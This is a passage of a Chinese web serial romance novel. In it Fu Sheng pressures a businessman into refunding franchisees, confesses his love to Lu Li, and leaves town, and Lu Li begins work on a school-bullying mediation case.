陈振兴听着自己那天说的话,脸色越来越黑,半晌他嘲讽地笑了一下:“你不会是不知道这种录音不能作为证据吧?” 就是因为非正常场合录音不能作为证据,所以那天他才敢肆无忌惮给傅生讲这么多。 “陈老板还挺懂法律的,”傅生说,“不过,这不是作为证据用的。” 他站起身,手中拿着一摞合同资料,走到了赵振兴面前,在他面前晃了晃:“这些账目,合同,公司流水,还有厂家交易和公司账面对不上吧,陈老板,你胆子挺大的啊。知道这两年税务查得严,还敢顶风作案。” 这次陈振兴真的变了脸色,“你从哪里弄到这些,你想干什么?” “这你别管,”傅生开门见山说,“我要求也不高,将城中村那三十名加盟商的加盟费退给他们不难吧。” 陈振兴咬着牙,还在嘴硬:“我要是不退呢。” “这些东西要是被举报上去,万一相关部门知道了,你赔的钱可不止这些了。”傅生从容道,“陈老板应该是聪明人。” 这要是被调查,罚钱事小,万一被判刑,他们公司就完了。 陈振兴一口老血差点呛进肺里,又拿着眼前的人毫无办法,好半晌他才咬着他说:“行。我一会儿找人把钱给他们汇过去。” 傅生却没有这么好说话,“你可能理解错我的意思了。我的意思是你亲自给他们送过去。” 陈振兴眼睛几乎要瞪出眼眶,最后只憋出来一句:“你别欺人太甚。” “欺人太甚?”傅生还是头一次听到这么好笑的词,“行吧,就当是我欺人太甚。” 他从陈振兴旁边走过去,冷着声音说:“今天晚上之前,钱没有过去,这些资料会准时发送到南宁税务部门。” 说完,他也不管陈振兴应不应,转身就走。 出门的时候,陈振兴的助理刚好进来送资料,看见傅生像是见了鬼一样被吓了一跳,说话都结巴起来。 “你是怎么进来的。” 傅生没理他。 助理对着陈振兴说:“老板,他还敢进来干什么。” 一直憋着气的陈振兴这时才终于气震山河地喊出了那句:“滚。” 天色逐渐转暗,雨逐渐转成了雪。 三十多个人挤在同一个房间内,周颂却还是明显地看出他们瑟瑟发抖。 天气越来越冷,这个房子根本不御寒,他知道不能再拖下去了,可就算是明天就去报案上诉,等庭审最起码也还要半个月。 就在这时,门外响起几声鸣笛。 有个男人跑进来,气喘吁吁地说:“那个,那个公司的老板来了。” 陈振兴? 周颂愣了一下,他来干什么。 他还没出门,陈振兴已经带着人走了进来,态度和之前趾高气扬的模样完全不同。 “之前是我不对,”陈振兴低着头说,“耽误大家这么久时间,你们的加盟费,我现在全额退给你们,剩下的一万算是我对你们的一点歉意补偿。” 场面转换得太快,周颂一直到陈振华走了才回过神来。 他看着加盟商拿着钱,长久苦着的脸上终于露出笑,他跟着唇角也弯了一下。 看着外面的雪,他莫名地想起了傅生走之前说的话,毫无缘由的,他觉得赵振兴这么快掏钱出来,和傅生肯定有莫大的关联。 但不管怎么说,总算也是当下最好的结果。 “怎么样,我爬虫能力强吧,把他公司扒得一干二净。” 傅生坐在出租车里,蒋文的声音在对面透出来。 他笑了一声:“这次谢谢。” “哎哟,我没听出错吧,”蒋文稀奇地说,“我竟然听到你这个黑心老板给我说谢谢。你事是不是忙完了,什么时候回来?” “看看再说吧,不说了,”傅生说,“我有点事。” 蒋文说:“这个点了你还有什么事?” 雪越下越大,傅生看了眼外面的落雪眼睛弯了一下:“去哄人。” 蒋文:“?” * 陆离站在落地窗,看着窗外,像是一个等着审判的囚徒。 傅生说他回来有话给他说。 他不知道傅生想给他说什么。 但他知道是昨天的事。 时间一秒一秒地过去,他在窗口不知道站了多久,直到门口传来了响动,他的手指动了一下。 傅生走进门,看着陆离冷着脸差点和窗户外面的雪景融为一体。 “站窗口干什么呢?” 陆离回头,看着他黑发和衣服上都沾了点落雪。 “下雪了?”陆离问他。 傅生看着他,有些好笑地说:“你在窗户前站了这么久你问我?” 陆离向后看了一眼,这才发现窗外的街道和建筑已经被雪覆盖上了。 “嗯。没注意。” 傅生在他情绪中敏锐地感觉到什么,他走过去:“想什么呢?这么出神?” 陆离看了他须臾,才低声吐出两个字:“借口。” 傅生愣了一下,须臾又笑了,“什么借口?” 陆离抬眸,黝黑的眼睛里在灯下含着亮光,里面清晰地映着他的影子。 他没说话。 傅生却在那双眼睛里看到了答案,他无奈地叹了口气:“什么时候开始的?” 具体什么时候他自己也说不清楚,可能是傅生带他回家的那天,可能更早。 “不知道。”他垂着眸子,老实地开口,“等我发现的时候,我已经管不住自己了。” 房间里沉默了须臾,傅生开口说:“其实我有想过你以后结婚生子的时候,我会站在什么样的位置。 可能我们成了陌生人,我远远地看你一眼。 也可能我作为至亲、朋友来参加你的婚宴。” 陆离听着他的话,睫毛下垂在眼睑留下一排阴影,他没说话,只是眉心无意识地颦起。 果然,是他强求了吗? 但是下一秒,微凉的指尖就点在他的额前。 “别皱眉了,笨蛋,”傅生轻笑着说,“因为我突然觉得,和你站在一起好像更让我心动。” 陆离抬眸愣了一下,半晌才反应过来傅生话里的意思。 他看着人:“你——” 窗台外面的雪絮絮的下着,房间里灯光泛着暖意。 傅生看了他须臾,缓声说: “我是说,以后你就要和自己纠缠不清了。” 【作者有话说】 呜呜呜给小两口放五个礼花。[红心][红心][红心][红心]我要坐主桌。 第0047章 第 47 章 ◎接吻得这样接才对。◎ 陆离感觉今天晚上, 大脑真的有些不够用。 傅生看了他好大一会,觉得孩子可能是傻了。 刚才的窗户被陆离打开了,这会儿外面的寒风吹进来, 他刚起身想要去关窗户, 却被陆离的手一下子抓住。 “干什么去?”他半垂着眸子, 看上去竟然有点冷淡的紧张。 傅生心里的恶趣味又上来了, 他看着人逗人一般地开口:“回酒店啊, 房费很贵,不去住浪费了。” 陆离下意识地脱口而出:“多少钱我给你。” 傅生笑意更大了:“你要养着我?” 原本就是开玩笑的话,陆离却认真地点了一下头。 接着他转身。 傅生看他走进了卧房,在床边桌子上拿了张卡出来。 陆离拿着卡给傅生。 傅生挑了一下眉:“给我?” 他突然对于这种感觉有些微妙,长这么大还是第一次有人主动地给他钱, 而且是个男人。 这个男人还是他自己。 “你这是打算包养我了?”傅生笑着说。 “卡里有四十九万,”陆离半垂着眸子, 冷着声音说, “钱不多,但我明年毕业,以后挣的钱可以都给你。” 傅生拿着卡, 听到里面的数目的时候愣了一下:“四十九万?” 他知道陆离高中的时候, 就去做家教兼职, 他不喜欢过分干涉陆离的选择,就由着人去了。 但现在, 四十九万对于普通人来说不是小数目, 这么多钱,只能说明他上了大学之后, 一刻没有闲着。 别人在宿舍玩游戏, 聊天八卦, 他却早早地去社会上工作。傅生倏然有些心疼。 “傻不傻,钱的事本来就用不到你操心,”他说,“累吗?” “不累。”陆离说。 他知道傅生喜欢钱。 他原本打算攒够五十万一起给傅生的。 傅生看着人静默了几秒,把卡又放到陆离手里。 陆离看了一眼手中的卡,又抬头看向他,唇角又压下去一点。 “为什么不要?” “没说不要,”傅生看着人不开心的模样,哄人说,“你也知道我这个人花钱大手大脚,里面的钱你就先帮我攒着。” 陆离这才收回了目光,只是手抓着人,没有一点要放开的意思。 傅生在他这点执拗的固执中品出来点什么,好笑道:“刚才逗你的,酒店昨天就退了,不过 你再拽着我不让我关窗户,我今天就要被冻死在你这里了。” 陆离:“……” 直到现在,他才感觉到身后的风吹进了房间,他抿唇一言不发的回头关了窗户。 傅生休息依旧去了二楼。 直到今天他才闲下来打量房间的模样。 二楼的区域比一楼要小一点,只是一看房间里的情况,就知道这间屋子里主人上来的次数屈指可数。 傅生笑了一下,转念一想也是,一个人住确实用不到楼上的区域。 他垂着眸光盯着自己的指尖愣了一会,突然想起来,那他什么时候回北川。 若是回去得早了,不用想也知道那个小崽子就算嘴上不说,肯定也会不高兴。 刚谈恋爱就异地,傅生啧了一声。 那明天处理完最后一件事,就再住几天? 马上临近年关,周颂没好意思叫陆离再去事务所,主要是怕那位看起来脾气很好,但是说话却喜欢夹刀带棍的家里人再损他几句。 陆离罕见地没有在周六出门。 傅生下楼看见人的时候,还稀奇了一声:“你那位黑心的师兄今天竟然没有压榨你?” 陆离:“……” 他嘴唇动了一下,似乎想说些什么,却在看到傅生那双棕色的眼睛的时候,又咽了回去。 算了,他那位师兄背次锅也没什么。 陆离这么想着,目光就又落在了傅生的衣服上,明明是大清早,他却穿戴的衣冠楚楚,显然没有打算老实地待在家里。 他的手指又动了一下:“你要出去?” 之前在学校的时候,班里的女同学总是喜欢说,谈恋爱让人更加的患得患失。 他起初不明白这句话。 一直到现在,他才知道患得患失用在他此刻,再合适不过。 因为从昨天晚上开始,他就担心傅生会突然离开。 担心昨天的一切不过是傅生哄他开心。 傅生对他太好了,好到他知道只要自己张口,对方就不会拒绝的程度。 “嗯,”傅生下了最后一个台阶,“有点事。” 陆离一下子不知道该说什么了。 每个人都有自己私密的事。 他不能两个人的关系就指望着对方毫无保留全盘托出。 他垂着眸光嗯了一声。 傅生走了几步,目光落在陆离垂着的睫毛上,片刻倏然开口:“你今天不用去事务所对吧,那一会跟我出去一趟。” 陆离目光动了一下,唇角微微上扬:“嗯。” 陈振兴看着傅生下了楼梯,目光又落在他身后的陆离身上,却一个字都没敢多说,只是脸上虚伪地笑了一下。 “您来了。” 他带着人走进办公室,请人坐在沙发上,旁边的小助理兢兢业业地倒了茶。 陈振兴这才开口:“昨天我已经按照您说的,把钱都还给城中村的几位了,赔偿也都付了,您看——” 傅生将东西摆在桌子上:“都在这。” 陈振兴闻言,激动地拿着决定他身家性命的东西看了好几遍,才一把塞进旁边助理怀里,快速地说:“抓紧销毁。” 傅生坐在沙发上,半垂着眸子看着他,脸上虽然是带着笑的,却莫名地让陈振兴心尖颤了一下。 从昨天的时候他就看出来了,傅生不是他能惹得起的。他收了脾气,紧张地看着人,没话找话:“这位是弟弟?” “不是,”陆离说。 陈振兴:“那二位是?” 陆离冷着脸:“关你屁事?” 陈振兴要不是命门在被人手中抓着,他早就破口大骂了,这会儿只能活活忍住。 “也是不关我的事。” 傅生却笑了,陆离向来喜恶分明,不会虚与委蛇。 正在此时,助理在门口进来:“老板,东西都处理了,还有咱们公司的漏洞也都补上了。” 陈振兴长长地松了一口气。 他扭头看向傅生,却见沙发上的人没有一点要动的意思。 他颦眉有些紧张地问: “那个傅先生,您还有什么事。” 傅生眸光动了一下,他盯上陈振兴确实还有别的原因。 他捻了一下手指,掏出一张照片,沉着声音说:“照片中的人是你吗?” 陈振兴愣了一下,拿起照片看了一眼:“确实是我,你怎么会有这张照片?” 照片上他参加某次商务活动在酒会上拍的,上面除了他,还有一个拿着酒杯的男人,只是男人没有拍到脸,只能看到他的半截胳膊和戴着一枚蛇形戒指的手指。 陆离目光落在照片上,眉心颦了一下。 这个戒指他在傅生的房间里见过草图。 傅生找这个戒指做什么? 傅生沉着声问:“旁边戴蛇形戒指的人是谁。” 陈振兴愣住了。 那双棕色的眼睛看着他,竟然让他莫名地犯怵。 他开口回答:“这时间太久了。我不记得了?” “不记得?”傅生冷笑了一声,“确定不记得了吗,陈老板。” 这种威胁的语气让陈振兴神情一僵,接着他又拿起照片重新看了几圈:“我再想想。”他看了片刻,喊过自己旁边的助理过来。 “还记不得这是什么时候拍的?” 助理看了几眼:“老板,这是三年前那场酒会吧,你那身衣服不是在酒会上被人不小心倒上红酒报废了吗。” 经过助理这么一提,他才想起来,他指着上面的人说:“这个是华盛医院副院长,卢正风。” 卢正风。 傅生愣了一下,他手指一紧。 * 陆离能感觉到傅生的情绪不对。 他垂着眸子看着窗外,看起来和平时没有什么两样,紧绷的筋骨却出卖了他的情绪。 “那个戒指——”陆离开口。 傅生这才转过眸子看向他,“嗯?” 陆离:“我之前在你书桌上看到过那个戒指的手稿,对你很重要?” “怎么这么问?”傅生笑了一下,“不重要,无关紧要的东西罢了。” 他说话的时候,眼睛里面含着笑意,陆离看着那双棕色的眸子心说,骗人。 他自从陈振兴那里回来,就一直盯着自己的手指瞧。 “卢正风是谁?”陆离突然开口。 傅生愣了一下,片刻手指在他下巴上抓了一下:“小孩子天天打听这么多事干什么?” 陆离眉心刚颦起来,傅生却像是提前感知到他的动作,手指点在他额头上,他将那点情绪收拾得一点不剩,开口只说:“没有谁,也没有事,马上就到年关了,想好怎么过年了吗?” 陆离黝黑的眸子看向他。 每次都是用这种方式不回答。 他半垂着眸子沉沉地开口:“没有。” 说完起身,不想看这个嘴里没有一句真话的坏东西。 傅生笑着看着这个小鬼的背影,半晌叹了一口气,他静了几秒才开口说:“卢正风是华盛医疗集团所在医院的副主任,我之前同他有过渊源,后来他因为做的事因为我被媒体挑明出来,被医院开除。只是后来这个人就失踪了,警方当时找了他好久都没有找到。” 陆离看向傅生,这是第一次他同他讲重生之前的事。 “那那个戒指。”他开口问。 “我死之前,还有一点意识,”傅生很随意地开口,“看见下车的人手上就戴着这个戒指。” 陆离听到那死字,心脏下意识地紧了一下。 他之前一直想问不敢问的问题就这样直接摊在他面前,他手指骨结因为用力微微泛白。 傅生就知道是这一个结果,他叹了一口气,将陆离握紧的手指一根根掰开:“放心,就那么一瞬间的事,并不是很疼。而且,我不是又活了吗。” 若不是如此,他也遇不到陆离。 傅生把死说的随意,陆离却心疼要命。 傅生在见他之前都是独自一人,顶风冒雪,荆棘满途,什么都没有。 他不知道怎么表达自己压在心里的情绪,像是胸口堵了口气,无从发泄,等到他反应过来的时候,已经抓着人吻了很久。 之前两次都是轻轻碰了一下,只有这次,他心中酸涩,想把对方的骨血都融进自己身体里。 他没有亲过人,所以只能凭借着本能的汲取。 好半晌,他那股郁气才平复下来。 他离开的时候,傅生的唇已经被他亲上肿了一块,唇角也破了皮。 他愣了一下。 没想到自己刚才这么残暴。 傅生靠在窗户上缓了一会,才伸着手指在自己唇角点了一下,接着没好气地说:“小兔崽子,你是属狗的?” 陆离僵硬了片刻,半晌才憋出来一句:“我,去拿药。” “拿什么药?狂犬疫苗,”傅生拉他坐下,“不用为我难过或者不高兴,我现在不是好好的站在这里。” 陆离知道傅生在安慰他,他静了片刻说:“所以戒指的主人是他吗?” “不管是不是,我现在都和他没有丝毫交集,”傅生说,“过去的事就过去了,你们事务所这件事是不是就忙完了?” 陆离看了傅生须臾,点了点头。 “这是过年前最后一个案子,没有想到这么快能解决。” 傅生说:“那事情解决了,心结也解决了,今年去哪里过年,男朋友。” 他刻意将最后三个字说得很慢,陆离在那三个字里怔愣了一下,然后又看着傅生微肿的唇角,刚下去情绪有了反扑的趋势。 他没敢看人,转身冷着声音说:“我去洗澡。” 声音和平时一样冷,但是仔细听能听出来里面不太明显低哑。 傅生:“??” 好好讲着话,去洗什么澡。 须臾,他才反应过来什么。 * 大年三十那天。 两个人没在公寓过年。 傅生知道陆离不喜欢热闹的地方,所以在他带着自己去游乐场看摩天轮的时候微微怔愣了一下。 为了吸引游客,过年期间没有关门,即便是大年三十的晚上,也有好多人。 不过随着时间接近十二点,人开始逐渐变少。 傅生很少去游乐场,小时候因为没有人带着他去,后来就更没时间了。 “为什么有这么多人喜欢坐——”他看了一眼周围,找了一个形容词,“坐这个大轮子?” 陆离:“……” “不知道。” 傅生更稀奇了:“你天天话都没有几句,怎么知道这么个地方?” 陆离抿了一下唇,没把那天司机的话说出去。 他也有自己的私心,明明刚在一起,却已经想好了一辈子。 幸好傅生没有追问。 他们两个人走到摩天轮的入口,陆离去买票,傅生抱着胳膊斜靠在扶手上等着。 站在他前边的看起来是一对年轻的小情侣。 男生似乎有些不耐烦:“过年的时候跟你排这么久的队就为了坐这个,抓紧快点,坐完回家了,浪费我时间,有这功夫打个游戏不行吗。” “好,跟我在一起就是浪费时间,”女生看起来也生气了,吵道,“你是不是不想给我一起坐?还是说你早就想分手了,就连证明一下你对我的爱的真实性你都不肯?” “你别无理取闹行不行,”男生说,“也就你相信坐在破东西可以永远不分手的噱头,还真实,真实个屁,你是幼儿园的小孩子?” 傅生听着两个人的谈话,手指动了一下,倏然就心领神会陆离为什么带他来这里了。 他掏出手机,搜了一下景点的名字。 刚点进去,摩天轮的加大加亮的标语就映入眼帘。 幸福,永恒,圆满一辈子。 过年不收费,春节不打烊, 真心互相喜欢的情侣,只要坐我们的摩天轮,就能缘定三生,永不分手。 (温馨提示,在摩天轮最高处接吻,恋人会一直走下去。) 傅生对这种东西向来不信,笑了一下,陆离买完票走过来:“在笑什么?” 傅生很是自然的收了手机,弯着眼睛说:“没什么。” 将票交给工作人员,他们坐在摩天轮上。 缓缓启动的过程中,傅生看着陆离的侧脸说:“怎么不高兴?” 陆离手指动了一下,他刚刚只是微垂了一下眼睛,就被傅生注意到了一闪而过的情绪。 他愣了片刻才说:“你明天就走吗?” 虽然他知道傅生不可能一直留在南宁,但心底还是有种失落感。 “怎么?舍不得?”傅生逗着人说,“当初改志愿的时候可是改得特别干脆。” 陆离:“……” 他当时没有想过以后,在某种意义上属于搬起石头砸自己的脚。 他甚至有些后悔挑了南宁的大学。 摩天轮里沉默下去。 傅生看了一会人,伸手在他下巴上轻碰了一下:“别绷着脸了。” 今天跨年,游乐场会有烟火秀。 他低头看了看手边上的数字,一直到十二点,摩天轮外的烟花在摩天轮外炸开,绚丽的光线点亮了半个天空。 “跨年了,小鬼。新年快乐,”傅生笑着说,“就算我们不坐摩天轮,也会在一起。” 所以不用这么像是踩不到实处。 “新年快乐,”陆离刚说完,突然意识到不对劲。 他猛然抬头看向傅生:“你都知道了。” 他偷偷摸摸带人来,还被发现了。 陆离瞪着眼睛抿着唇,绷起了自己的保护套,冷巴巴地开口。 “什么时候发现的?” “刚才你买票的时候,”傅生抱着胳膊看了会人,又怕把人逗炸毛了,于是看着人笑了一下,“不过你还忘记件事,离近一点,我给你说。” 陆离看着他微愣,片刻垂眸凑过去。 傅生伸手,将人拉近,低声在他耳边说:“情侣接吻得这样接才对,狗崽子。” 摩天轮的宣传语是虚的,但这是他给的真实。 【作者有话说】 陆离宝贝,傅生怎么舍得把你一个人留在南宁! 第0048章 第 48 章 ◎我不高兴,快来哄我。◎ 傅生去机场的时候, 陆离的唇一直压着。 傅生注意到了,但他装作没看见,笑着逗人说:“那我走了?” 陆离唇角压得更低了。 片刻, 转开头故意冷着声开口:“谁关心你走没走。” 傅生嘴角的笑容扩大, “既然没人关心, 我原本还想着回家给某人发消息, 现在看来没必要了。” 陆离:“……” 他憋了好大会, 才蹦出来几个字说:“路上注意安全。” 傅生看着他笑:“还有吗?” 陆离拧着眉,抿着唇,眼睛一动不动的看着人,似乎在较什么劲。 傅生看了一眼检票口,催促道:“不说话真走了。” 陆离抬头看见傅生站在人流中, 与周围的川流不息分裂开来,有一种说不出来孤独。 他捏了一下手指突然开口, “在家等我。” 他还有一年毕业。 就一年。 他突然觉得即使一年也好像显得尤为漫长, 他一刻也不想分开。 傅生先是愣了一下。 他本就是逗人,但是听着对面的人别扭又认真说出来的话,弯了弯眼睛:“行。” 或者也用不了一年。 * 蒋文早就在机场等着了。 傅生出了机场就看见他拼命地朝着自己招手, 然后竟然等不及一般扑了过来。 傅生很是嫌弃地躲开, 开口就是损人:“你在家里待疯了?” “你是不知道, 过年的时候别人家都是热闹的差点炸锅,就我是孤零零的一个人, ”蒋文哭诉说, “你知道我是怎么过来的吗。有你这样黑心老板这么欺负员工,留他一个人在家的吗?” 傅生斜看了他一眼:“你过年期间的三倍工资白拿了?要不再给我退回来?” 一提到钱, 蒋文瞬间止了声, 他很是殷勤地给傅生打开副驾驶的车门:“老板, 您上坐。” 傅生说了一句这还差不多。 蒋文上车,转了方向盘祁说:“你这次的事忙得这么快?” “嗯,出了点小插曲,提前结束了。”傅生说。 蒋文一直秉承着不该问的别问,也没说话。 只是在红绿灯等车的时候,他瞥了傅生一眼,接着又凑近了看惊奇道:“你这是上火了?” 傅生一时没有反应过来:“嗯?” 蒋文指了一下自己的唇角:“你这个肿了一块。” “不对啊,上火应该不会破皮啊,”他又扫到了傅生露出来的脖子上,上面明显有一道说不上来的红。 万年单身狗蒋文看不懂,只能皱了皱眉说:“南宁冬天也有蚊子?你看给你咬的。” 傅生:“……” 这么一提不要紧,他又想起来了昨天,明明刚开始是他主导,最后成了他被陆离压在摩天轮的玻璃上亲了很久。 他麻木地看了蒋文一眼:“你今天怎么这么多话,就不能好好开你的车。” “这不是等红绿灯的吗,”蒋文看了一眼红绿灯还剩十几秒,又问,“在南宁看见陆离了吧。” 傅生突然有些疑惑自己为什么给自己找了一个这个二百五回来当店员。 他瘫着脸说:“昂,遇到了。” “我就知道你肯定会去看他,”蒋文说,“就你对那个小崽子好的那样,不知道的还以为有什么奸情呢。” 傅生:“……” 可不是有奸情。 “先被提别的,”傅生转开话题说,“过年期间的营业额你好像还没有报给我。现在统计一下吧,一共卖出去几件?” 蒋文向前开车,抽空不可思议地看了傅生一眼:“不是,你家大过年的去买古董?” 傅生说:“也就是说一件没卖出去?我过年期间付给你的三倍工资,属于倒贴赔本模式?” 蒋文:“……” 被傅生这么理直气壮的一带,他竟然还真的心虚了一下,不过很快就反应过来,他哼一声:“三倍工资是你付的我工作的时间的费用,不是你盈利卖东西的费用。” 傅生稀奇地看了他一眼:“你这是恶补劳动法了?” “你让我查那个公司的时候,我上网瞥了几眼,”蒋文有些得意地说,“况且,有几个客户提前打了预约电话,说是过年之后就来。” 车子很快驶进了巷子。 窗外路灯的光线在傅生眼睛上一闪而过,他垂眸整理了一下袖口,淡声说:“推了吧。” 蒋文疑惑地看他一眼,停了车说:“为什么要推?你良心发现了?” 傅生开车下门,声音如常:“因为过几天这个古董店就关了。” “关了,那就等再开的时候再让人家来呗。”蒋文随口说了一句,结果愣了几秒才反应过来傅生这个关了是什么意思,他在车里发出一道长长的暴鸣。 “傅生你疯了!好好地关什么店,你关了店我不就失业了吗。” 他匆匆下了车,追上傅生说:“你是遇到资金上的难处了。” 傅生:“没有。” 蒋文:“你被人举报了?要去蹲局子?” 傅生斜睨他一眼:“这么诅咒我对你有什么好处?” 蒋文急道:“那你好好地关什么门。” 傅生看他一眼,动了动唇,在蒋文期待的眼神中吐出两个字:“保密。” 蒋文:“……” 他感觉自己一把老血呕进了嗓子。 傅生刚进了古董店,衣服还没有脱下来,手机在兜里震动了一下。 打开一看,果然是陆离。 这是掐的时间打来的。 傅生笑了一下,按了接听键。 陆离独有的冷淡的声调传过来:“到家了吗。” 傅生:“嗯,刚到。” 一句话之后,陆离在对面开始沉默,只能听到对方轻淡的呼吸声,像是无话可说,但是又舍不得挂电话。 傅生心中像是被挠了一下,于是开口问道:“资料整理完了?” 他来之前,陆离的导师给他发了一个文档让他整理里面的数据,按照平时,陆离几个小时就能做完,但是今天他一上午时不时地要看傅生一眼,导致一上午都没有做完。 一直到中午导师又给他打了电话。 打电话来也并不是催促,只是有些关心地问:“今天是不是哪里不舒服啊小陆,我看你今天的效率有些慢啊,不舒服就讲,这个也不急着用。” 陆离瘫着脸说:“没有,下午做完就能给您发过去。” 傅生看着他的脸色,顿时笑了。 陆离脸上这么复杂的表情可是不常见,懊恼又夹着点麻木。 果不其然,听见傅生问他,陆离语气瞬间又恢复到上午那个状态,冷巴巴地开口:“写完了。” 傅生说:“那就好,不然导师又该给你打电话催你了。” 陆离:“……” 蒋文这时刚好也走了进来,他还沉在刚才傅生的话里:“不是傅生,你为什么忽然——” 傅生皱眉快速地朝他比了一个闭嘴手势。 蒋文这才注意到他在打着电话,“谁啊。” 傅生:“陆离。” 蒋文眼睛一亮,凑过去快速道:“小陆离啊,在南宁过得好不好,那边温度冷不冷。” 陆离冷着声:“不冷。” 蒋文一听,话头一转又快速告状说:“我给你说,你哥傅生他疯了,他要——” 傅生伸手拿起桌子上一个苹果塞进了蒋文嘴里,蒋文唔唔几声,陆离没有听到后话,开口道:“你要干什么?” “我要扣他工资,”傅生说,“你先去忙,我先挂了。” 陆离下意识颦了一下,直觉不是这个,还是嗯了一声。 一直到挂了电话,蒋文才拿掉手中的苹果,他抱怨地看向傅生:“干什么不让我讲话。” 傅生:“你话太多了。” 蒋文看着傅生的神色,顿时恍然大悟:……“你要关店的事,没有给陆离说。” 傅生看着他:“不是关店,是关这里的店。” 蒋文:“???” 不是,这两个有什么区别吗。 …… 过年之后,事务所更加繁忙,陆离去了周颂店里。 刚去的时候,周颂还会小心翼翼地问:“你哥呢?你哥不在吧。” 陆离:“回去了。” 周颂这才长松了一口气,他指了指桌子上的资料说:“刚好,这几天接了一个新的调解的案子。” 陆离走到桌前,拿起桌子上的资料看了一眼,皱了眉说:“校园暴力?” “嗯,”周颂说,“这次委托人是十四岁的女初中生,童陶宁,在丽水中学读初二,单亲家庭,性格内向,在学校里极度不合群。上个月放假之前,被几名同校同学围在宿舍里,殴打的过程中造成了子宫出血,孩子家长向法院提起了诉讼。” 陆离:“学校态度呢。” 周颂:“学校当时不想闹大,提出了调解赔偿,女生的母亲态度却很坚决,要打人的女生受到应有的惩罚。” 他说完,拿起手中的公文包,将一些资料装进去:“今天有事吗?没事的话陪着见一见当事人。” 陆离:“没事。去哪?” 周颂:“心理治疗室。” 花间一条街上的住户一般都很稳定,两个人出门的时候,陆离目光落在街口的那家店上。 原本对面开的是一家书画店,现在那家店的牌子却被几个工人摘了下来。 周颂注意到他的目光,开口解释说:“这个店主年纪大了,准备将店卖了之后去首都女儿家住着了,看样子已经找到了买主了。估计过几天就重新开业,就是不知道哪家老板来这里。” 陆离嗯了一声,就转开了眸子,他对于店铺倒闭,还有谁来开店这种事并不感兴趣。 两个人出了街口,打了一辆车去了心理诊疗室。 心理诊疗工作室开在市中区最豪华的商务楼上。 两个人上电梯的时候,周颂说:“这个心理师在行业里很出名,平时很难见到人。这次董陶宁的事是他听说了之后,主动联系,免费给董陶宁进行心理辅导。” 陆离:“主动?” “嗯,这件事在社会上引起的反响挺大,”周颂说,“还被人拍成了视频传到了社交媒体上。小姑娘受到的打击挺大,估计是对上学产生了心理阴影。” 陆离皱了一下眉。 校园暴力这几年在社会上屡见不鲜,尤其是在这两年社交网络发达之后,一部分学生觉得好玩,会模仿这种欺凌行为以证明自己在同学中的认可度。 往往学生之间的问题,是最好不解决问题。 未成年人保护法既是对未成年人的保护,也是未成年人犯罪的挡箭牌。 出了电梯之后,董陶宁的妈妈已经在电梯口等着,她看见人快速地向前走了几步:“周律师。” 周颂伸手,礼貌地点了点头:“陶宁呢?在里面?” “嗯,”董陶宁的妈妈说,“林老师在里面陪着我女儿聊天呢。先进去看看吧。” 周颂对陆离说:“我们先进去,看看当事人的状态,再决定要不要询问。” 陆离嗯了一声,在进门之前,瞥了一眼工作室门口的牌子。 心理治理室负责人——林淮。 工作室里面不大,却被装修得格外的温暖治愈,白色的桌子坐着个那位女生,应该就是董陶宁。 她弓着背,低着头,看起来像是在害怕,一直怯弱地向后躲闪。 一道声音却安抚她说:“现在你已经安全了,没有人能欺负你了。你可以放下心里的戒备,把你的痛苦都告诉我,我来帮助你好吗。” 对面的人声音很是低沉,却听起来又格外的让人心安。 陆离抬眸看了过去。 那位叫林淮的心理诊疗师大概二十岁出头,长相出色,戴着链条的眼镜,衣服和头发都被打理得一丝不苟,此时他正注视着董陶宁。 那双黑色的眼睛盯着人,像是有安抚人的魔力。 董陶宁逐渐安静下来。 大约过了半小时,林淮才领人出来,看见周颂和陆离点了一下头:“你们好。” 周颂把需要了解的情况地告诉林淮。 林淮说:“可以询问,只要不问特别敏感的问题,我会在旁边看着,注意当事人的心理动态。” 董陶宁看到这么多陌生人,瞳孔先是缩了一下,林淮在旁边安抚说:“你妈妈和我都在,你要是有不想回答,可以直接摇头。” 董陶宁这才放松下来,看向周颂小声地说:“你要问什么?” 周颂说:“陶宁,那天之前都发生了什么你还记得吗?或者说,你和她们起过什么冲突吗?” 董陶宁摇了摇头,“我在学校里本来就不讨喜,老师学生都不喜欢我,我不喜欢说话,所以前几年在学校才一直相安无事。” 周颂问:“那今年怎么回事?” “今年,”董陶宁身子抖了一下,“今年她们在厕所里打一名隔壁班的女生的时候,被我看见了。” 陆离看着她手指紧紧拽着自己的袖子,他说:“你去帮了那个女生?” “嗯,”董陶宁说,“她们扒了她的衣服,还向她身上泼冷水,厕所里没有暖气,我看她冻得瑟瑟发抖,就趁着她们出去抽烟的功夫给她盖上一件衣服。” 周颂皱了一下眉:“后来呢?” 董陶宁眼里的恐惧更深了,“后来,后来她们就突然找上了我。刚开始,我抽屉里经常出现虫子,带血的纸巾,座位上也经常被泼上胶水,本来这些其实还好,但是那天放学,她们扒了我的衣服,还拿着刀子在我手上刻字——” 董陶宁的妈妈听着,哭了一声,将她的袖子撸起来。 少女纤瘦的胳膊上,被划的伤口已经结痂了,但是不难看出上面之前刻的婊子,贱人这样的字眼。 董陶宁在看到自己胳膊伤口的那一刻瞬间情绪失控,开始尖叫着抱着自己的头。 “不要过来,不要划我,好疼。” 她妈妈被董陶宁突然情绪失控吓得愣了一下,又快速的抱住人。 “是妈妈啊陶宁,是妈妈啊。” 林淮起身,抓着董陶宁的胳膊,他喊了一声陶宁的名字。 几乎只是几秒钟,董陶宁漆黑的眸子从疯狂害怕逐渐变得平静。 陆离在旁边看着他的动作,手指动了一下。 周颂和她妈妈都在安抚董陶宁的情绪,陆离不擅长说话,就只能站在窗户边。 身后传来一道脚步声,陆离在镜子的反光看见江淮走了过来,站在他身侧。 “还在上学吧。”林淮抽了一张纸巾擦着手,他擦得很仔细,像是手指沾了什么去不掉的东西。 “嗯。” 陆离站着没动。 林淮看向他,眼镜后面的眼睛温柔的一弯:“我和周颂打过几次交道,之前没见过你,是出来实习?” 陆离嗯了一声,也没有多解释。 林淮转眸,这才深深地看了陆离一眼,他主修的心理,所以和别人说话时,其他人都会下意识地对他打开话匣子。 还是头一次遇到这么冷淡的。 “真不错,”林淮扶了扶眼镜说,“不瞒你说,我刚才看到你就有一种一见如故的感觉,像是认识很多年了。” 陆离这才看向他,嗓音冷淡:“你刚才用的、是心理操控?” 林淮将手中的纸扔进垃圾桶里,带点兴趣地看着他:“你对心理学也感兴趣?看起来研究地挺深啊。” 不是。 陆离心说。 是因为他方才无论是动作还是方式都特别像某个人。 他对催眠和心理操控不熟悉,但他对某人太熟悉了。 以至于第一眼就看出了这手法同宗同源。 